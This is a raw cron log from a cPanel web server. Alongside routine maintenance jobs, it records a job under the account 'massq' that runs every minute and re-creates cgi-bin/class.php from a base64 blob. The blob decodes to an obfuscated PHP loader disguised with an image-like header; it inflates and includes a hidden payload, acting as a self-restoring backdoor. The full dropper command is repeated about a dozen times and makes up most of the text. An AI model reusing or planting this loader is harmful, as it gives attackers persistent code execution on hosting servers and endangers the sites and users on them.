Sep  2 10:08:01 server CROND[13564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:08:01 server CROND[13565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:08:01 server CROND[13566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:09:01 server CROND[14056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:09:01 server CROND[14057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:09:01 server CROND[14058]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 10:09:01 server CROND[14059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:10:01 server CROND[14459]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 10:10:01 server CROND[14465]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:10:01 server CROND[14469]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 10:10:01 server CROND[14471]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 10:10:01 server CROND[14473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:10:01 server CROND[14470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:10:01 server CROND[14476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:10:01 server CROND[14472]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:11:01 server CROND[15316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:11:01 server CROND[15317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:11:01 server CROND[15318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:12:01 server CROND[15703]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 10:12:01 server CROND[15705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:12:01 server CROND[15704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:12:01 server CROND[15706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:13:01 server CROND[16105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:13:01 server CROND[16106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:13:01 server CROND[16107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:14:01 server CROND[16493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:14:01 server CROND[16494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:14:01 server CROND[16500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:15:01 server CROND[16996]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 10:15:01 server CROND[16995]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:15:01 server CROND[16994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:15:01 server CROND[17004]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 10:15:01 server CROND[17014]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 10:15:01 server CROND[17015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:15:01 server CROND[17013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:15:01 server CROND[17016]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 10:15:01 server CROND[17017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:16:01 server CROND[17937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:16:01 server CROND[17938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:16:01 server CROND[17939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:17:01 server CROND[18323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:17:01 server CROND[18324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:17:01 server CROND[18325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:18:01 server CROND[18706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:18:01 server CROND[18707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:18:01 server CROND[18708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:19:01 server CROND[19095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:19:01 server CROND[19096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:19:01 server CROND[19097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:20:01 server CROND[19592]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:20:01 server CROND[19594]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
